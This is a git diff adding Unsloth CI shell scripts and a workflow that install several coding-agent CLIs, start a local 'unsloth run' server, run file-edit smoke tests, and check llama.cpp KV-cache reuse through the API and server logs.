+    # Turn 1: create hello.py.
+    invoke_turn "$OUT1" fresh "$T1"
+    # Fail on a non-zero agent exit before trusting side effects: an agent can
+    # error out (API/tool failure) yet leave a plausible file/transcript behind,
+    # which would otherwise slip past the assertions below (mirrors connection).
+    rc=$?
+    [ "$rc" -eq 0 ] || { echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true; \
+      guide_fail "turn 1 (create hello.py) exited non-zero (rc=$rc)"; }
+
+    # Hard assertions on the side effect (the real test): file + content + run.
+    if [ ! -f hello.py ]; then
+      echo "[$AGENT] turn-1 transcript:"; tail -40 "$OUT1" 2>/dev/null || true
+      guide_fail "turn 1 did not create hello.py"
+    fi
+    grep -q 'Hello' hello.py || guide_fail "hello.py does not contain 'Hello'"
+    RUN_OUT="$(python3 hello.py 2>&1 || true)"
+    [ "$RUN_OUT" = "Hello" ] || guide_fail "python3 hello.py printed '$RUN_OUT', expected exactly 'Hello'"
+    echo "[$AGENT] turn 1 OK (file created, prints 'Hello')"
+
+    # Turn 2: same cwd + session continuation; assert the agent's run output
+    # contains Hello. Narration drift is WARN-only, missing output is a hard fail.
+    invoke_turn "$OUT2" continue "$T2"
+    rc=$?
+    [ "$rc" -eq 0 ] || { echo "[$AGENT] turn-2 transcript:"; tail -60 "$OUT2" 2>/dev/null || true; \
+      guide_fail "turn 2 (run hello.py) exited non-zero (rc=$rc)"; }
+    if grep -q 'Hello' "$OUT2"; then
+      echo "[$AGENT] turn 2 OK (run output contains 'Hello')"
+    else
+      echo "[$AGENT] turn-2 transcript:"; tail -60 "$OUT2" 2>/dev/null || true
+      guide_fail "turn 2 run/bash output did not contain 'Hello'"
+    fi
+    cd "$REPO_ROOT" || true
+    echo "[$AGENT] file-edit OK"
+    ;;
+
+  # ── attribution-ab: Claude Code KV-cache HIT vs MISS ────────────────────
+  attribution-ab)
+    [ "$AGENT" = "claude" ] || guide_fail "attribution-ab only applies to claude"
+    # The llama-server log filename uses the INTERNAL random llama.cpp port,
+    # not STUDIO_PORT, so we never glob by port: assert-prompt-cache.sh picks
+    # the newest llama-*.log and we slice it by a byte offset (`mark`) captured
+    # right before the measured turn, so an earlier turn's reuse can't leak in.
+    LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}"
+    export LLAMA_LOG_DIR
+    parse_connect          # writes ~/.claude/settings.json (header=0) + env
+    crosscheck_contract
+    PROMPT='Reply with exactly the single word: pong'
+
+    # Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on
+    # the continued turn. connect.py's ensure_claude_attribution_header() set 0.
+    invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT"        # turn 1 primes
+    FROM_HIT="$(bash "$CACHE_HELPER" mark)"                                # offset before turn 2
+    invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again"
+    CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT
+
+    # Phase B: header ENABLED -> expect a MISS. The header prepends a
+    # per-request-changing attribution line to the system prompt, so the shared
+    # prefix changes every turn and the KV cache is invalidated (~90% slower);
+    # this is exactly what the guide flag prevents.
+    python3 - <<'PY'
+import json, os
+p = os.path.expanduser("~/.claude/settings.json")
+s = json.load(open(p)) if os.path.exists(p) else {}
+s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1"
+json.dump(s, open(p, "w"), indent=2)
+PY
+    invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT"
+    FROM_MISS="$(bash "$CACHE_HELPER" mark)"
+    invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again"
+    CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS
+    echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)"
+    ;;
+
+  *)
+    echo "agent-guides-drive.sh: unknown mode '$MODE'" >&2
+    exit 2
+    ;;
+esac
diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh
new file mode 100755
index 0000000000..dfab8aec80
--- /dev/null
+++ b/.github/scripts/agent-guides-install.sh
@@ -0,0 +1,105 @@
+#!/usr/bin/env bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+#
+# Install one coding-agent CLI for the Local Agent Guides CI. Isolated as
+# failure class (b) "agent package install failed": npm/curl flakiness here
+# is the single biggest source of false reds, so installs retry with
+# backoff and the only ::error:: this script can emit is class (b). The
+# install recipes mirror the install_hint strings in
+# unsloth_cli/commands/connect.py at HEAD.
+#
+# Usage: agent-guides-install.sh <agent>
+#   agent in: claude codex hermes openclaw opencode pi
+set -uo pipefail
+
+AGENT="${1:?usage: agent-guides-install.sh <agent>}"
+mkdir -p logs
+LOG="logs/install-${AGENT}.log"
+
+install_fail() {
+  echo "::error::[agent install failed] agent=${AGENT}: $* (class (b): the agent CLI did not install; not a server or guide problem)." >&2
+  echo "---- tail $LOG ----" >&2
+  tail -60 "$LOG" 2>/dev/null || true
+  exit 1
+}
+
+# npm registry flakiness is common in CI; retry 3x with linear backoff.
+npm_retry() {
+  local pkg="$1" i
+  for i in 1 2 3; do
+    if npm install -g "$pkg" >> "$LOG" 2>&1; then
+      return 0
+    fi
+    echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
+    sleep "$((i * 10))"
+  done
+  return 1
+}
+
+# curl|bash installers, retried at the curl layer. We download to a temp file
+# first and only execute on a fully successful fetch, so a truncated download
+# (network hiccup mid-stream) can never run a half-written installer.
+curl_bash() {
+  local url="$1"; shift
+  local i tmp
+  tmp="$(mktemp)"
+  for i in 1 2 3; do
+    if curl -fsSL --retry 3 --retry-delay 5 "$url" -o "$tmp" 2>>"$LOG" \
+        && bash "$tmp" "$@" >> "$LOG" 2>&1; then
+      rm -f "$tmp"
+      return 0
+    fi
+    echo "[install] curl|bash $url attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
+    sleep "$((i * 10))"
+  done
+  rm -f "$tmp"
+  return 1
+}
+
+echo "[install] agent=$AGENT (log=$LOG)"
+case "$AGENT" in
+  claude)
+    # connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
+    curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed"
+    # The installer drops the binary under ~/.local/bin.
+    echo "$HOME/.local/bin" >> "$GITHUB_PATH"
+    ;;
+  codex)
+    # connect.py install_hint: npm install -g @openai/codex
+    npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed"
+    ;;
+  opencode)
+    # connect.py install_hint: npm install -g opencode-ai
+    npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed"
+    ;;
+  openclaw)
+    # connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
+    # npm is the more deterministic path in CI and matches the agent's docs;
+    # fall back to the connect.py curl installer if the npm tag is missing.
+    if ! npm_retry "openclaw@latest"; then
+      curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)"
+      echo "$HOME/.local/bin" >> "$GITHUB_PATH"
+    fi
+    ;;
+  hermes)
+    # connect.py install_hint:
+    #   curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash
+    curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \
+      --non-interactive --skip-setup --skip-browser --no-skills \
+      || install_fail "hermes installer failed"
+    echo "$HOME/.local/bin" >> "$GITHUB_PATH"
+    ;;
+  pi)
+    # No connect.py recipe; the agent's documented package name. The CLI moved
+    # from the now-deprecated @mariozechner scope to @earendil-works (the old
+    # scope is frozen, so installing it would test a stale Pi against the API).
+    npm_retry "@earendil-works/pi-coding-agent" \
+      || install_fail "npm install -g @earendil-works/pi-coding-agent failed"
+    ;;
+  *)
+    install_fail "unknown agent '$AGENT'"
+    ;;
+esac
+
+echo "[install] OK for $AGENT"
diff --git a/.github/scripts/assert-prompt-cache.sh b/.github/scripts/assert-prompt-cache.sh
new file mode 100755
index 0000000000..f5b6b075eb
--- /dev/null
+++ b/.github/scripts/assert-prompt-cache.sh
@@ -0,0 +1,238 @@
+#!/usr/bin/env bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+#
+# Prompt-cache (KV-cache prefix reuse) detection, two strategies in one helper:
+#
+#   mode=api     A 2-turn /v1/chat/completions probe. Turn 2 prepends turn 1 +
+#                its reply, so the shared prefix must be served from llama.cpp's
+#                KV cache. Asserts usage.prompt_tokens_details.cached_tokens > 0
+#                on turn 2. This is the OpenAI-dialect server cache sanity.
+#                WHY this works on chat completions: the chat path forwards
+#                llama-server's real cached_tokens through
+#                studio/backend/routes/inference.py:482-489 (_prompt_tokens_details)
+#                into prompt_tokens_details (inference.py:519).
+#
+#   mode=log     Read the llama-server log and decide HIT vs MISS from the
+#                prompt-reprocessing trace. WHY the log (not the API field):
+#                the Anthropic /v1/messages path builds AnthropicUsage(
+#                input_tokens=..., output_tokens=...) at inference.py:8787-8790
+#                / :8829-8832 and NEVER sets cache_read_input_tokens, which
+#                therefore stays at its model default of 0
+#                (studio/backend/models/inference.py:1655). So an Anthropic-path
+#                client (Claude Code, OpenClaw is openai-completions but Claude
+#                Code is the canonical Anthropic agent) can get a real KV-cache
+#                hit that the API usage field reports as 0. The only ground
+#                truth for the Anthropic path is the llama-server log.
+#
+# Log location (verified): studio/backend/core/inference/llama_cpp.py:4363-4365
+#   _swa_cache_path().parent/"logs"/"llama-server"/llama-<ts>[label]-port-<P>[-try<N>].log
+#   _swa_cache_path() => $UNSLOTH_STUDIO_HOME|$STUDIO_HOME or ~/.unsloth/studio
+#   (llama_cpp.py:337-340). So default: ~/.unsloth/studio/logs/llama-server/.
+#
+#   <P> is the INTERNAL llama-server port (self._find_free_port(),
+#   llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Studio port. So we must
+#   NOT filter the log glob by STUDIO_PORT (the brief's `port-<STUDIO_PORT>`
+#   glob would never match). We pick the newest llama-*.log instead.
+#
+# Usage:
+#   assert-prompt-cache.sh api  BASE_URL API_KEY
+#   assert-prompt-cache.sh log  EXPECT          # EXPECT = HIT | MISS
+#                                               # reads MARKER_BEFORE/MARKER_AFTER
+#                                               # byte offsets from env (see below)
+#   assert-prompt-cache.sh mark                 # print current log size to stdout
+#                                               # (use to bracket a turn)
+#
+# Env for mode=log:
+#   LLAMA_LOG_DIR    override the log dir (default ~/.unsloth/studio/logs/llama-server)
+#   CACHE_LOG_FROM   byte offset to start scanning the newest log from (so we
+#                    only look at the trace produced by THIS turn). Default 0.
+#
+# Exit codes: 0 = assertion held; 1 = assertion failed (::error:: emitted).
+
+set -uo pipefail
+
+MODE="${1:?usage: assert-prompt-cache.sh api|log|mark ...}"
+
+# ---------------------------------------------------------------------------
+# Locate the newest llama-server log. Shared by mark + log modes.
+# ---------------------------------------------------------------------------
+_default_log_dir() {
+  local home="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}"
+  if [ -n "$home" ]; then
+    echo "${home%/}/logs/llama-server"
+  else
+    echo "${HOME}/.unsloth/studio/logs/llama-server"
+  fi
+}
+
+_newest_log() {
+  local dir="${LLAMA_LOG_DIR:-$(_default_log_dir)}"
+  [ -d "$dir" ] || return 1
+  # Newest by mtime among llama-*.log (covers both `llama-<ts>-port-<P>.log`
+  # and the retry form `llama-<ts><label>-port-<P>-try<N>.log`). Filenames are
+  # tool-generated timestamps, so ls -t is safe here.
+  # shellcheck disable=SC2012
+  ls -1t "$dir"/llama-*.log 2>/dev/null | head -1
+}
+
+case "$MODE" in
+  # -------------------------------------------------------------------------
+  # mark: emit the current byte size of the newest llama log so a caller can
+  # scan only the slice a single turn produced (set CACHE_LOG_FROM to it).
+  # -------------------------------------------------------------------------
+  mark)
+    log="$(_newest_log || true)"
+    if [ -n "$log" ] && [ -f "$log" ]; then
+      wc -c < "$log" | tr -d ' '
+    else
+      echo 0
+    fi
+    exit 0
+    ;;
+
+  # -------------------------------------------------------------------------
+  # api: 2-turn /v1/chat/completions, assert turn-2 cached_tokens > 0.
+  # -------------------------------------------------------------------------
+  api)
+    BASE_URL="${2:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}"
+    API_KEY="${3:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}"
+
+    # A deliberately long, fixed system prompt makes the shared prefix big so a
+    # KV-cache hit is unambiguous (cached_tokens grows with the reused prefix).
+    SYS='You are a meticulous assistant. Always answer concisely and correctly. This is a fixed system preamble that exists only to create a large, identical prompt prefix across both turns so the KV cache has something substantial to reuse on the second request. Do not mention this preamble.'
+
+    turn1_body() {
+      jq -n --arg sys "$SYS" '{
+        model: "default",
+        messages: [
+          {role:"system", content:$sys},
+          {role:"user",   content:"What is the capital of France?"}
+        ],
+        temperature: 0.0, seed: 3407, max_tokens: 40, stream: false,
+        enable_thinking: false
+      }'
+    }
+
+    echo "[cache/api] turn 1 (prime the KV cache)"
+    R1="$(curl -fs -X POST "${BASE_URL}/v1/chat/completions" \
+          -H "Authorization: Bearer ${API_KEY}" -H 'content-type: application/json' \
+          --max-time 240 -d "$(turn1_body)")" || {
+      echo "::error::[cache/api] turn-1 /v1/chat/completions request failed. Unsloth server/API regression."
+      exit 1
+    }
+    A1="$(echo "$R1" | jq -r '.choices[0].message.content // ""')"
+
+    turn2_body() {
+      jq -n --arg sys "$SYS" --arg a1 "$A1" '{
+        model: "default",
+        messages: [
+          {role:"system",    content:$sys},
+          {role:"user",      content:"What is the capital of France?"},
+          {role:"assistant", content:$a1},
+          {role:"user",      content:"And the capital of Germany?"}
+        ],
+        temperature: 0.0, seed: 3407, max_tokens: 40, stream: false,
+        enable_thinking: false
+      }'
+    }
+
+    echo "[cache/api] turn 2 (expect cached_tokens > 0)"
+    R2="$(curl -fs -X POST "${BASE_URL}/v1/chat/completions" \
+          -H "Authorization: Bearer ${API_KEY}" -H 'content-type: application/json' \
+          --max-time 240 -d "$(turn2_body)")" || {
+      echo "::error::[cache/api] turn-2 /v1/chat/completions request failed. Unsloth server/API regression."
+      exit 1
+    }
+
+    CACHED="$(echo "$R2" | jq -r '.usage.prompt_tokens_details.cached_tokens // 0')"
+    PROMPT_TOK="$(echo "$R2" | jq -r '.usage.prompt_tokens // 0')"
+    echo "[cache/api] turn-2 usage: prompt_tokens=${PROMPT_TOK} cached_tokens=${CACHED}"
+
+    if [ -z "$CACHED" ] || ! [ "$CACHED" -gt 0 ] 2>/dev/null; then
+      echo "::error::[cache/api] turn-2 usage.prompt_tokens_details.cached_tokens=${CACHED}, expected > 0. The server is not surfacing llama.cpp KV-cache hits on /v1/chat/completions. Check studio/backend/routes/inference.py:482-489 (_prompt_tokens_details) and :519. Full turn-2 usage:"
+      echo "$R2" | jq -c '.usage' 2>/dev/null || echo "$R2"
+      exit 1
+    fi
+    echo "[cache/api] PASS server cache sanity (cached_tokens=${CACHED} > 0)"
+    exit 0
+    ;;
+
+  # -------------------------------------------------------------------------
+  # log: classify the newest llama-server log (from CACHE_LOG_FROM bytes on)
+  # as HIT or MISS and compare to EXPECT.
+  # -------------------------------------------------------------------------
+  log)
+    EXPECT="${2:?usage: assert-prompt-cache.sh log HIT|MISS}"
+    FROM="${CACHE_LOG_FROM:-0}"
+
+    log="$(_newest_log || true)"
+    if [ -z "$log" ] || [ ! -f "$log" ]; then
+      echo "::error::[cache/log] no llama-server log under ${LLAMA_LOG_DIR:-$(_default_log_dir)}. Cannot read KV-cache trace. (Path contract: studio/backend/core/inference/llama_cpp.py:4363-4365.)"
+      exit 1
+    fi
+    echo "[cache/log] reading $log from byte $FROM"
+
+    # Scan only the slice produced after FROM.
+    slice="$(tail -c "+$((FROM + 1))" "$log" 2>/dev/null || cat "$log")"
+
+    # ---- HIT detectors (most-specific first) -----------------------------
+    # 1. Modern + legacy "re-used N tokens" / "reused N" (N>0). Primary signal
+    #    per the design brief.
+    reused_n="$(printf '%s\n' "$slice" \
+      | grep -aoiE 're-?used[^0-9]*([0-9]+)' \
+      | grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
+    # 2. "kv cache rm [START, end)" with START>0 => prefix [0,START) reused.
+    cache_rm_start="$(printf '%s\n' "$slice" \
+      | grep -aoiE 'kv cache rm \[[0-9]+' \
+      | grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
+    # 3. "n_past = N" with N>0 after a prompt-processing line (prefix kept).
+    n_past_n="$(printf '%s\n' "$slice" \
+      | grep -aoiE 'n_past[^0-9]*([0-9]+)' \
+      | grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
+    # 4. tokens_cached / tokens from cache (some builds).
+    tok_cached="$(printf '%s\n' "$slice" \
+      | grep -aoiE 'tokens_cached[^0-9]*([0-9]+)' \
+      | grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
+
+    # ---- MISS detectors --------------------------------------------------
+    # Explicit forced full re-processing (SWA / recurrent) or kv cache rm [0,.
+    forced_full=0
+    if printf '%s\n' "$slice" | grep -aqiE 'forcing full prompt re-?processing|kv cache rm \[0,'; then
+      forced_full=1
+    fi
+
+    HIT=0
+    why=""
+    if [ -n "$reused_n" ] && [ "$reused_n" -gt 0 ] 2>/dev/null; then
+      HIT=1; why="re-used=$reused_n"
+    elif [ -n "$cache_rm_start" ] && [ "$cache_rm_start" -gt 0 ] 2>/dev/null; then
+      HIT=1; why="kv-cache-rm-start=$cache_rm_start"
+    elif [ -n "$tok_cached" ] && [ "$tok_cached" -gt 0 ] 2>/dev/null; then
+      HIT=1; why="tokens_cached=$tok_cached"
+    elif [ "$forced_full" = "0" ] && [ -n "$n_past_n" ] && [ "$n_past_n" -gt 0 ] 2>/dev/null; then
+      # n_past>0 is the weakest signal; only trust it if nothing forced a full
+      # reprocess. (On a cold slot n_past tracks total processed, so it is a
+      # last-resort fallback per the brief.)
+      HIT=1; why="n_past=$n_past_n(fallback)"
+    fi
+    [ "$HIT" = "1" ] || why="${why:-no-reuse-markers (forced_full=$forced_full)}"
+
+    OBSERVED="MISS"; [ "$HIT" = "1" ] && OBSERVED="HIT"
+    echo "[cache/log] observed=$OBSERVED expected=$EXPECT ($why)"
+
+    if [ "$OBSERVED" != "$EXPECT" ]; then
+      echo "::error::[cache/log] KV-cache observed=$OBSERVED but expected=$EXPECT ($why). See the attribution A/B note in the workflow."
+      echo "---- llama-server log slice (last 60 lines) ----"
+      printf '%s\n' "$slice" | tail -60
+      exit 1
+    fi
+    echo "[cache/log] PASS ($OBSERVED == $EXPECT)"
+    exit 0
+    ;;
+
+  *)
+    echo "::error::unknown mode '$MODE' (want api|log|mark)"
+    exit 1
+    ;;
+esac
diff --git a/.github/scripts/ci-connect-prompt.txt b/.github/scripts/ci-connect-prompt.txt
new file mode 100644
index 0000000000..2d96f2b1a8
--- /dev/null
+++ b/.github/scripts/ci-connect-prompt.txt
@@ -0,0 +1 @@
+You are a helpful assistant in a CI connectivity check. Answer the user directly in plain text. Do not use any tools, do not take any actions, and do not explain. Just reply with the answer.
diff --git a/.github/scripts/ci-min-system-prompt.txt b/.github/scripts/ci-min-system-prompt.txt
new file mode 100644
index 0000000000..d55b828bbd
--- /dev/null
+++ b/.github/scripts/ci-min-system-prompt.txt
@@ -0,0 +1 @@
+You are a coding assistant running non-interactively in a CI smoke test. Use the available file-editing and shell tools to complete the user's request directly and concisely. Do not ask questions or explain; just do the task.
diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh
new file mode 100755
index 0000000000..34b8b962c6
--- /dev/null
+++ b/.github/scripts/serve-unsloth-run.sh
@@ -0,0 +1,172 @@
+#!/usr/bin/env bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+#
+# Boot `unsloth run --disable-tools` in the background, wait for it to be
+# healthy, parse the minted API key from the banner, and resolve the
+# /v1/models id. Exports everything downstream steps need into $GITHUB_ENV
+# (or prints it when run outside Actions). Factored out of the workflow so
+# the failure-isolation logic lives in one shellcheck-clean place.
+#
+# Usage:
+#   serve-unsloth-run.sh --model REPO --gguf-variant VAR --port PORT \
+#       [--gguf-file PATH] [--extra "--seed 3407 --temp 0"] \
+#       [--log-dir logs] [--health-timeout 300]
+#
+# Why a helper and not inline YAML
+# --------------------------------
+#  * Every `unsloth run` invocation here is the *Unsloth server* under test.
+#    A failure to come up healthy is class (a) "server/API regression" and
+#    must be reported with a distinct `::error::` BEFORE any agent runs.
+#  * The banner is the documented contract a human copies from. We parse the
+#    exact `API Key:` line printed by unsloth_cli/commands/studio.py
+#    (`  API Key:      <key>` non-silent, `API Key: <key>` silent) so a
+#    silent change to that line is also caught.
+#  * `unsloth run` re-execs into the studio venv ($STUDIO_HOME/unsloth_studio),
+#    so in CI after `install.sh --local` it runs the PR's repo code.
+#
+# Outputs written to $GITHUB_ENV (and echoed):
+#   UNSLOTH_API_KEY        the sk-unsloth-* key minted on the banner
+#   UNSLOTH_STUDIO_URL     http://127.0.0.1:<PORT>  (so `unsloth connect`
+#                          finds THIS server, not the hardcoded :8888)
+#   UNSLOTH_BASE_URL       same as UNSLOTH_STUDIO_URL (alias for clarity)
+#   UNSLOTH_MODEL_ID       the canonical id reported by /v1/models
+#   UNSLOTH_SERVER_PID     pid of the backgrounded `unsloth run`
+#   UNSLOTH_LLAMA_LOG_DIR  ~/.unsloth/studio/logs/llama-server
+
+set -uo pipefail
+
+# ── arg parse ────────────────────────────────────────────────────────────
+MODEL=""
+GGUF_VARIANT=""
+GGUF_FILE=""
+PORT=""
+EXTRA=""
+LOG_DIR="logs"
+HEALTH_TIMEOUT="300"
+
+while [ "$#" -gt 0 ]; do
+  case "$1" in
+    --model)          MODEL="$2"; shift 2 ;;
+    --gguf-variant)   GGUF_VARIANT="$2"; shift 2 ;;
+    --gguf-file)      GGUF_FILE="$2"; shift 2 ;;
+    --port)           PORT="$2"; shift 2 ;;
+    --extra)          EXTRA="$2"; shift 2 ;;
+    --log-dir)        LOG_DIR="$2"; shift 2 ;;
+    --health-timeout) HEALTH_TIMEOUT="$2"; shift 2 ;;
+    *) echo "serve-unsloth-run.sh: unknown arg '$1'" >&2; exit 2 ;;
+  esac
+done
+
+[ -n "$PORT" ] || { echo "serve-unsloth-run.sh: --port is required" >&2; exit 2; }
+if [ -z "$MODEL" ] && [ -z "$GGUF_FILE" ]; then
+  echo "serve-unsloth-run.sh: one of --model or --gguf-file is required" >&2
+  exit 2
+fi
+
+mkdir -p "$LOG_DIR"
+SERVER_LOG="$LOG_DIR/unsloth-run-${PORT}.log"
+BASE_URL="http://127.0.0.1:${PORT}"
+STUDIO_HOME_DIR="${STUDIO_HOME:-$HOME/.unsloth/studio}"
+LLAMA_LOG_DIR="${STUDIO_HOME_DIR}/logs/llama-server"
+
+# Emit a key=value pair to $GITHUB_ENV when set, always echo for local runs.
+emit() {
+  echo "$1=$2"
+  if [ -n "${GITHUB_ENV:-}" ]; then
+    echo "$1=$2" >> "$GITHUB_ENV"
+  fi
+}
+
+server_fail() {
+  echo "::error::Unsloth server/API regression: $*" >&2
+  echo "---- last 200 lines of $SERVER_LOG ----" >&2
+  tail -200 "$SERVER_LOG" 2>/dev/null || true
+  exit 1
+}
+
+# ── port collision guard ─────────────────────────────────────────────────
+# A leftover listener (or a parallel matrix cell that wandered onto our port)
+# would make us attach to the wrong server and mask a real regression. Fail
+# fast instead.
+if command -v ss >/dev/null 2>&1; then
+  if ss -tln 2>/dev/null | grep -q ":${PORT}\b"; then
+    server_fail "port ${PORT} already has a listener before we started (collision)"
+  fi
+fi
+
+# ── build the command ────────────────────────────────────────────────────
+# `unsloth run` == alias of `unsloth studio run`. --disable-tools is REQUIRED
+# (passthrough mode) so the agent's own tools relay instead of the server's.
+# --no-cloudflare keeps us off the network (loopback bind, no tunnel attempt).
+CMD=(unsloth run -H 127.0.0.1 -p "$PORT" --disable-tools --no-cloudflare)
+if [ -n "$GGUF_FILE" ]; then
+  CMD+=(--model "$GGUF_FILE")
+else
+  CMD+=(--model "$MODEL")
+  [ -n "$GGUF_VARIANT" ] && CMD+=(--gguf-variant "$GGUF_VARIANT")
+fi
+# Determinism knobs + any caller passthrough (e.g. --seed 3407 --temp 0).
+# shellcheck disable=SC2206  # intentional word-split of caller-controlled flags
+[ -n "$EXTRA" ] && CMD+=($EXTRA)
+
+echo "[serve] launching: ${CMD[*]}"
+echo "[serve] server log: $SERVER_LOG"
+
+# Run detached, no controlling TTY (setsid avoids any TTY-prompt hang and
+# detaches from this step's process group so the job's teardown is clean).
+setsid "${CMD[@]}" > "$SERVER_LOG" 2>&1 < /dev/null &
+SERVER_PID=$!
+emit UNSLOTH_SERVER_PID "$SERVER_PID"
+
+# ── wait for /api/health == healthy ──────────────────────────────────────
+HEALTHY=0
+for _ in $(seq 1 "$HEALTH_TIMEOUT"); do
+  if ! kill -0 "$SERVER_PID" 2>/dev/null; then
+    server_fail "process exited before becoming healthy (pid $SERVER_PID)"
+  fi
+  if curl -fs "${BASE_URL}/api/health" -o "$LOG_DIR/health-${PORT}.json" 2>/dev/null; then
+    if jq -e '.status == "healthy"' "$LOG_DIR/health-${PORT}.json" >/dev/null 2>&1; then
+      HEALTHY=1
+      break
+    fi
+  fi
+  sleep 1
+done
+[ "$HEALTHY" = "1" ] || server_fail "did not report /api/health healthy within ${HEALTH_TIMEOUT}s"
+echo "[serve] /api/health healthy"
+
+# ── parse the API key from the banner ────────────────────────────────────
+# Match both the non-silent "  API Key:      <key>" and silent "API Key: <key>"
+# forms. We do NOT trust a fixed column count; we take the sk-unsloth-* token.
+API_KEY=""
+for _ in $(seq 1 30); do
+  API_KEY="$(grep -aoE 'sk-unsloth-[A-Za-z0-9_-]+' "$SERVER_LOG" 2>/dev/null | head -1 || true)"
+  [ -n "$API_KEY" ] && break
+  sleep 1
+done
+if [ -z "$API_KEY" ]; then
+  # Fallback: take whatever follows an "API Key:" label, in case the key
+  # prefix scheme changes. Still a parse-fragility guard, not silent.
+  API_KEY="$(grep -aE 'API Key:' "$SERVER_LOG" 2>/dev/null \
+    | sed -E 's/.*API Key:[[:space:]]*//' | head -1 || true)"
+fi
+[ -n "$API_KEY" ] || server_fail "could not parse an API key from the banner (banner-parse fragility -- check the 'API Key:' line in unsloth_cli/commands/studio.py)"
+echo "::add-mask::${API_KEY}"
+emit UNSLOTH_API_KEY "$API_KEY"
+
+# ── resolve /v1/models id ────────────────────────────────────────────────
+if ! curl -fs "${BASE_URL}/v1/models" \
+    -H "Authorization: Bearer ${API_KEY}" -o "$LOG_DIR/models-${PORT}.json" 2>/dev/null; then
+  server_fail "/v1/models did not respond (or rejected the banner key)"
+fi
+MODEL_ID="$(jq -r '.data[0].id // empty' "$LOG_DIR/models-${PORT}.json" 2>/dev/null || true)"
+[ -n "$MODEL_ID" ] || server_fail "/v1/models returned no model id (model failed to load)"
+echo "[serve] resolved model id: $MODEL_ID"
+
+emit UNSLOTH_MODEL_ID "$MODEL_ID"
+emit UNSLOTH_STUDIO_URL "$BASE_URL"
+emit UNSLOTH_BASE_URL "$BASE_URL"
+emit UNSLOTH_LLAMA_LOG_DIR "$LLAMA_LOG_DIR"
+
+echo "[serve] server is up: ${BASE_URL} (model ${MODEL_ID})"
diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml
new file mode 100644
index 0000000000..150dbc3fde
--- /dev/null
+++ b/.github/workflows/local-agent-guides-ci.yml
@@ -0,0 +1,599 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+# Local Agent Guides CI
+# =====================
+# Detects when our local-agent setup recipes drift out of sync with
+# `unsloth run`. Boots a real `unsloth run --disable-tools` server and
+# drives the coding agents end to end through the *exact* recipes defined
+# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there
+# is no docs/ tree). Wherever connect.py has a recipe we drive the agent
+# via `unsloth connect <agent> --no-launch` and execute what it prints, so
+# the test self-updates against connect.py and catches silent recipe drift.
+#
+# Source-of-truth files this workflow guards:
+#   unsloth_cli/commands/connect.py   the `unsloth connect <agent>` recipes
+#   unsloth_cli/commands/studio.py    the `unsloth run` banner (API Key line)
+#
+# Failure taxonomy (each surfaced with a distinct ::error:: + the agent name
+# + the connect.py location, so a red X is immediately triageable):
+#   (a) Unsloth server/API regression -- the dialect HTTP preflight fails
+#       BEFORE the agent runs (or the server never becomes healthy).
+#   (b) Agent package install failed   -- npm/curl install of the CLI failed.
+#   (c) Guide drift                    -- preflight passed + install ok, but
+#       the documented `unsloth connect` flow produced no/garbled output.
+#
+# Agents covered (6): claude, codex, hermes, openclaw, opencode, pi.
+#   - claude/codex/hermes/openclaw/opencode have a connect.py recipe.
+#   - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is
+#     driven by a hand-written recipe and the matrix cell asserts that the
+#     missing connect recipe is the (known) reason, so the day connect.py
+#     grows a `pi` command this cell flips to the self-updating path.
+
+name: Local Agent Guides CI
+
+on:
+  # Off-peak weekly, deliberately a NON-:00 minute to dodge the top-of-hour
+  # GitHub-hosted-runner stampede.
+  schedule:
+    - cron: '37 7 * * 1'
+  workflow_dispatch:
+  pull_request:
+    paths:
+      - 'unsloth_cli/**'
+      - 'studio/backend/routes/**'
+      # Contracts this workflow asserts that live outside routes/**: the
+      # /api/health endpoint, the llama-server KV-cache log behavior, and the
+      # request/response schemas the agent dialects depend on.
+      - 'studio/backend/main.py'
+      - 'studio/backend/core/inference/llama_cpp.py'
+      - 'studio/backend/models/**'
+      - 'install.sh'
